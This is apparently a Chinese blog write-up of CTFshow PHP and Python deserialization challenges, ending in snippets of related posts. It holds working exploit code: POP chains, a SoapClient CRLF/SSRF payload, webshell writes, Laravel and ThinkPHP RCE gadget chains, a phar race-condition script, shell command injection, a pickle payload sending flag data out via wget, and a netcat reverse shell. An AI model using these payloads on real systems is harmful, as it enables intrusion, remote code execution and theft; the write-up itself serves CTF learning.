代码编织梦想

简介

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的魔术方法

__construct(),类的构造函数
 
__destruct(),类的析构函数
 
__call(),在对象中调用一个不可访问方法时调用
 
__callStatic(),用静态方式中调用一个不可访问方法时调用
 
__get(),获得一个类的成员变量时调用
 
__set(),设置一个类的成员变量时调用
 
__isset(),当对不可访问属性调用isset()或empty()时调用
 
__unset(),当对不可访问属性调用unset()时被调用。
 
__sleep(),执行serialize()时,先会调用这个函数
 
__wakeup(),执行unserialize()时,先会调用这个函数
 
__toString(),类被当成字符串时的回应方法
 
__invoke(),调用函数的方式调用一个对象时的回应方法
 
__set_state(),调用var_export()导出类时,此静态方法会被调用。
 
__clone(),当对象复制完成时调用
 
__autoload(),尝试加载未定义的类
 
__debugInfo(),打印所需调试信息

常见的序列化格式

了解即可

二进制格式
字节数组
json字符串
xml字符串

学习路线:推荐y4师傅写的反序列化

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

先观察ctfShowUser类,反序列化的时候会先实例化info这个类,接着再销毁的时候调用类中的getInfo方法;很显然调用的是类info中的getInfo方法,而我们需要调用类backDoor中的getInfo方法,因为其中含有eval可以命令执行。所以我们把本来调用的类改成backDoor,构造姿势:

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258(+号绕过)

利用+号绕过,注意需要url编码为 %2B

web259(soapclient+crlf)

考点:php原生类

SoapClient

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一

种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果

去调用了一个不存在的函数,会去调用 __call 方法

image-20210911193929556

image-20210911194543217

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

在上面的图中,我们可以看到,SOAPAction是可控的点,我们注入两个\r\n来控制POST请求头

但还有一个问题需要解决,POST数据指定请求头为Content-Type:application/x-www-form-urlencoded,我们需要控制Content-Type,但从上图中可以发现它位于SOAPAtion上方。
继续往上,可以发现User-Agent位于Content-Type上方,这个位置也可以进行注入,所以我们再User-Agent进行注入

<?php
$post_string = "lin=cool";
$a = new SoapClient(null, array('location' => 'http://127.0.0.1:5555/path', 'user_agent' => "lin\r\nContent-Type:application/x-www-form-urlencoded\r\n" . "Content-Length: " . (string)strlen($post_string) . "\r\n\r\n" . $post_string, 'uri' => "aaa"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

题目

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

我们在代码审计时如果发现反序列化点,但在代码中却无法构造pop链,可以利用php内置类来进行反序列化

相关参数都给足了,利用ssrf访问flag.php,然后构造post数据token=ctfshow还有xff请求头,paylaod如下

<?php
	$post_string = "token=ctfshow";
    $a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"lin\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
    $b = serialize($a);
    echo urlencode($b);

这里X-Forwarded-For里面需要两个127.0.0.1的原因是docker环境cloudfare代理所导致

X-Forwarded-For

维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:

示例:X-Forwarded-For:203.0.113.1

如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:

示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102

所以我们传入参数vip,然后再访问flag.txt就可以了

原生类的补充

  • Exception
<?php
error_reporting(0);
#$id= "$admin";
#show_source(__FILE__);
#if(unserialize($id) === "$admin")
$a = new Exception("<script>alert('xss');/script>");
$b = serialize($a);
$id = $b;
print unserialize($id);
  • ZipArchive

利用open函数实现任意文件删除

<?php
//ZipArchive::OVERWRITE ZipArchive::CREATE 
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->addFile('data.txt', 'entryname.txt');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
//$res = $zip->open('test.zip', ZipArchive::OVERWRITE);
?>

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']); 

前置

__construct(),类的构造函数
__destruct(),类的析构函数
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__invoke(),调用函数的方式调用一个对象时的回应方法

如果 __unserialize()__wakeup()两个魔术方法都定义在用一个对象中, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以直接观察__unserialize函数,发现在__destruct中有一个弱比较,构造payload

<?php
    class ctfshowvip{
    	public $username="877.php";
    	public $password='<?php @eval($_POST[lin]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

在写入webshell之后再用蚁剑连接,最后在根目录发现flag_is_here文件,打开即得到flag。

web262(反序列化字符逃逸)

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

• PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

梳理代码内容,我们发现有一个正则表达式把fuck变成loveU,也就是多了一个字符,而最终我们需要token的值为admin,那么需要如下形式:

";s:5:"token";s:5:"admin";}

由于我们在to中插入字符串,需要闭合前后字符。然后我们需要27个fuck来获得27的长度,构造:

?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web 263(session反序列化)

考点:php session反序列化

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题

session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种

    php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    php 键名+竖线(|)+经过serialize()函数处理过的值
    php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

学习路线:https://www.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#_11

存在一个源码泄露www.zip,查看关键代码

index.php

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
?>

inc.php

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

显然,cookie中的limit进行base64解码之后传入session中,之后调用inc中的User类,并且其中这个User类中存在文件写入函数,所以写入一句话即可,payload如下

<?php
class User{
    public $username = 'cosmos.php';
    public $password = '<?php system("tac flag.php");?>';
    public $status='cosmos';

}
$a=new User();
echo base64_encode('|'.serialize($a));

首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。

脚本(南方师傅)

import requests
url = "http://06573677-b16d-4788-a60d-2f244b945cd1.challenge.ctf.show:8080/"
cookies = {"PHPSESSID": "g3us2rlfsn3q3fkahcja154gs8", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9"}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-dotast.php", cookies=cookies)
print(res3.text)

web264(反序列化字符逃逸)

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中有message.php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

和262差不多,注意在访问message.php时需要cookie中的msg有值

?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265(变量引用)

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

构造

<?php
class ctfshowAdmin{
    public $token='lin';
    public $password;
    public function __construct($t,$p){
    $this->token=&$this->password;
}
}
$pop=new ctfshowAdmin();
echo urlencode(serialize($pop));

web 266(PHP对类名的大小写不敏感)

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);

解析

区分大小写的: 变量名、常量名、数组索引(键名key)

不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

那么我们只需要绕过正则,最后利用__destruct返回flag

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __destruct(){
        global $flag;
        echo $flag;
       }
    }
 $pop=new ctfshow();
 echo serialize($pop);

得到

O:7:"ctfshoW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}   //修改ctfshow

再利用burp 来post数据即可

注意:火狐hackbar有缺陷,post的数据必须是键值对,不可以直接post数据。

web267-270(yii反序列化)

见我另一篇博客

web271(Laravel5.7反序列化)

POC:

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

web272-273(Laravel5.8反序列化)

POC:

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php phpinfo();exit()?>"; //此处是PHP代码
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
        protected $name="snakin";
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web274(Thinkphp5.1反序列化)

POC:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system"; //PHP函数
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin']; //PHP函数的参数
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

使用

http://0034bfee-06ae-4a44-bd27-a1e85029bfe5.challenge.ctf.show/?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19&lin=cat /flag

web275

<?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

仔细观察

 public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }

这里直接将$this->filename拼接到了system中,那么我们只需要让$this->evilfile为true就可以执行命令

?fn=1.php;cat f*

web276(phar反序列化)

web275+

<?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

在上一题基础上增加了$this->admin的验证,但题目中没有反序列化函数

由于题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。

生成phar文件

<?php

class filter{
    public $filename = "1|cat f*";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

条件竞争

import requests
import threading
import base64
url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
    requests.post(url+"?fn=a", data=data)


def work2():
    global flag
    r = requests.post(url+"?fn=phar://phar.phar/", data="")
    if "ctfshow{" in r.text or "flag{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=work1)
    b = threading.Thread(target=work2)
    a.start()
    b.start()

web277(python反序列化)

学习:python反序列化

y4解法:

配合requestbin这个网站https://requestbin.net/,选择Create a RequestBin获取一个地址
poc如下:通过wget方式,将flag放在URL中

#!/usr/bin/env python

import os
import pickle
import base64

class RunCmd(object):
    def __reduce__(self):
        return (os.system, ('wget http://requestbin.net/r/duwbu270?a=`cat fla*`',))  

print(base64.b64encode(pickle.dumps(RunCmd())))
# m=base64.b64decode(base64.b64encode(pickle.dumps(RunCmd())))
# m=pickle.loads(m)

解法:反弹shell

import os
import pickle
import base64
import requests
class exp(object):
    def __reduce__(self):
        return (os.popen,('nc vps-ip vps-port -e /bin/sh',))#此处需要nc VPS的IP...

a=exp()
s=pickle.dumps(a)
url="http://8f7ce522-cfba-4a6a-8f99-4d36c387e29e.challenge.ctf.show:8080/backdoor"
params={
    'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)
print(base64.b64encode(s))

然后服务器监听端口,反弹shell拿到flag

nc -lvvn -p port

image-20211004203450970

web278

过滤了os.system

参考链接:

https://blog.csdn.net/solitudi/article/details/113588692

https://blog.csdn.net/solitudi/article/details/110521104

https://zhuanlan.zhihu.com/p/80918004

https://xz.aliyun.com/t/6654#toc-

https://www.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#_11

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cosmoslin/article/details/121334025

ctf中的一道反序列化题_莫者的博客-爱代码爱编程

早就想写了,今天刚好遇到一道反序列化的题就记录一下 自己在本地搭的,源码如下: index1.php <?php error_reporting(E_ALL & ~E_NOTICE); $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(is

ctf——web——php序列化和反序列化_captain hammer的博客-爱代码爱编程

PHP 序列化和反序列化: 1,序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,jso

php反序列化漏洞总结_无在无不在的博客-爱代码爱编程_php反序列化漏洞

目录 0x00 为什么需要序列化和反序列化? 0x01 相关函数 0x02 相关魔术方法: 0x03 反序列化漏洞例题 0x04 序列化的一些注意点: 0x05 PHP Bug 72663 0x06 PHP BUG 71101 0x07 Phar 反序列化 其他例题: 0x00 为什么需要序列化和反序列化? 分布式架构的项目,往往具

php序列化与反序列化+ctf题目-爱代码爱编程

现在在ctf比赛中PHP的反序列题目出得有一些多,当然,是我感觉的 emmm 之前没有怎么好好去了解这个问题 碰到这类题目的时候都是代码好的同学在做 然后这段时间看了一下这些东西 就写一些东西吧 自己的想法 ——————————————————————————分割线———————————————————————————— 首先 什么是序列化  在ph

CTF之萌新反序列化学习-爱代码爱编程

反序列化 概念相关函数注意事项魔术方法+题目例题:flag.phpphp __wakeupphp Session例题phar反序列化(未完成)构造pop链例一:例二 概念 数据(变量)序列化(持久化) 将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。 序列化和反序列化的目:使得程序间传输

8月7日CTF反序列化训练-爱代码爱编程

题目一 题目: 思路: 根据题目提示,存在备份文件,使用御剑或者disteach进行查找,找到www.zip,下载源码进行源码分析,然后构造对应反序列化参数即可 步骤一 源码分析: class Name{ public $username; public $password; function __wakeup(){

CTFSHOW 反序列化篇-爱代码爱编程

文章目录 web254web255web256web257web258web259web260web261web262web263web264web265web266web267web268web269web 270web271web 272、273web274web275web 276web277 278 笔者太菜了,没解出来261 T_T

ctfshow_反序列化-爱代码爱编程

文章目录 WEB254web255web259-php原生类SoapClientweb263web265web264 大写绕过web267web268web269web270web271web272web274web275web276-python反序列化web278-禁用os.system WEB254 源码: error_reporti

[CTFSHOW]反序列化-爱代码爱编程

web257 <?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; pr

ctf php 读取flag,BugkuCTF flag.php(反序列化)-爱代码爱编程

进去后是个登录页面,但是login根本不会跳转,看源码也没提示,但是这道题给了一个提示:hint,那么盲猜应该是一个get参数,因为post不能跳转,那么get总有内容吧,跟上hint参数,随便赋一个值。 发现报出了源码 审计一波发现只要cookie的值等于$key变量的序列化字符就能输出flag。 那么发现之前没有给$key定义赋值,但

ctfshow————反序列化-爱代码爱编程

web254-普通的get传参 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @emai

反序列化(Unserialize)漏洞详解-爱代码爱编程

序列化和反序列化漏洞分析   序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 【将状态信息保存为字符串】。   反序列化(unserialize) 就是把序列化之后的字符串在转化为对象。 其实在序列化的过程中是没有任何的漏洞的,产生漏洞的主要的原因就是在反序列化的

ctfshow反序列化-爱代码爱编程

web254 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-12-02 17:44:47 # @Last Modified by:   h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@

[CTF]反弹shell总结-爱代码爱编程

1 什么是反弹shell reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 2 为什么要反弹shell 正向连接 假设我们攻击了一台机器,打开了该机器的一个端口

[CTF]CTFSHOW反序列化-爱代码爱编程

265 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfe

六面天猫,已拿 offer,我的面经复盘总结,大厂真的有那么难进吗?-爱代码爱编程

分享一波阿里天猫超市一面到 hr 面的面经,文末有刷题指南分享 一面都是聊项目,聊了半个小时,主要包括这几个问题: 1、项目介绍 2、项目中如何对数据库进行优化 3、项目中的难点 4、你在项目中充当的角色 和面试官聊了 35 分钟,大部分时间是我在介绍,我把项目中自己负责的部分很详细地说了出来。面试官很友好,对我给予